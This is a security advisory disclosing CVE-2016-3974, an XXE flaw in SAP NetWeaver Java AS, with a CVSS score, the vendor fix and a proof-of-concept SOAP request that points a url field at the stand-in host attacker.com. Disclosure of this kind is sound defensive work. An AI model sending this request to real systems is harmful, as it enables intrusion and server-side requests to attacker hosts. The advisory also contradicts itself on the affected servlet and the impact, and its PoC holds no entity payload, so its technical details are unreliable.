SAP NetWeaver Java AS ctcprotocol servlet - XXE vulnerability

Application: SAP NetWeaver **Versions Affected:**SAP NetWeaver 7.1 – 7.5 Vendor URL: SAP **Bug:**XXE **Reported:**20.10.2015 **Vendor response:**21.10.2015 **Date of Public Advisory:**08.03.2016 **Reference:**SAP Security Note 2235994 Author: Vahagn Vardanyan (ERPScan)

VULNERABILITY INFORMATION

Class: XXE
Impact: denial of service
Remotely Exploitable: Yes
Locally Exploitable: No
CVE-2016-3974

CVSS Information
CVSS Base Score v3: 6.4 / 10
CVSS Base Vector:

AV : Attack Vector (Related exploit range)	Network (N)
AC : Attack Complexity (Required attack complexity)	High (H)
PR : Privileges Required (Level of privileges needed to exploit)	High (H)
UI : User Interaction (Required user participation)	None (N)
S : Scope (Change in scope due to impact caused to components beyond the vulnerable component)	Unchanged (U)
C : Impact to Confidentiality	High (H)
I : Impact to Integrity	High (H)
A : Impact to Availability	High (H)

Description
Authorized attacker can use a special request to read files from the server and then escalate his or her privileges.

Business risk
Attackers can send any packets to any port of any system, including localhosts.
It means that it is possible, for example, to send any administrative command to Gateway or Message Server because the source of the packet will be localhost, and there are no restrictions for localhost. Another example is an attack on other interfaces.

VULNERABLE PACKAGES

SAP NetWeaver AS JAVA 7.1 – 7.5
Other versions are probably affected too, but they were not checked.

SOLUTIONS AND WORKAROUNDS

To correct this vulnerability, install SAP Security Note 2235994.

TECHNICAL DESCRIPTION

An XML external entity (XXE) vulnerability in the Configuration Wizard in SAP NetWeaver Java AS 7.4 allows remote attackers to cause a denial of service, conduct SMB Relay attacks, or access arbitrary files via a crafted XML request related to the ctcprotocol servlet.

PoC

POST /_tc~monitoring~webservice~web/ServerNodesWSService HTTP/1.1 Content-Type: text/xml <SOAP-ENV:Envelope xmlns:SOAP-ENV=“http://schemas.xmlsoap.org/soap/envelope/” xmlns:SOAP-ENC=“http://schemas.xmlsoap.org/soap/encoding/” xmlns:xsi=“http://www.w3.org/2001/XMLSchema-instance” xmlns:xsd=“http://www.w3.org/2001/XMLSchema”> <SOAP-ENV:Body> <m:XXX xmlns:m=“http://sap.com/monitoring/ws/sn/”> <url>attacker.com</url> </m:XXX> </SOAP-ENV:Body> </SOAP-ENV:Envelope>

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POST /_tc~monitoring~webservice~web/ServerNodesWSService HTTP/1.1

Content-Type: text/xml

<SOAP-ENV:Envelope xmlns:SOAP-ENV=“http://schemas.xmlsoap.org/soap/envelope/” xmlns:SOAP-ENC=“http://schemas.xmlsoap.org/soap/encoding/” xmlns:xsi=“http://www.w3.org/2001/XMLSchema-instance” xmlns:xsd=“http://www.w3.org/2001/XMLSchema”>

<SOAP-ENV:Body>

<m:XXX xmlns:m=“http://sap.com/monitoring/ws/sn/”>

<url>attacker.com</url>

</m:XXX>

</SOAP-ENV:Body>

</SOAP-ENV:Envelope>

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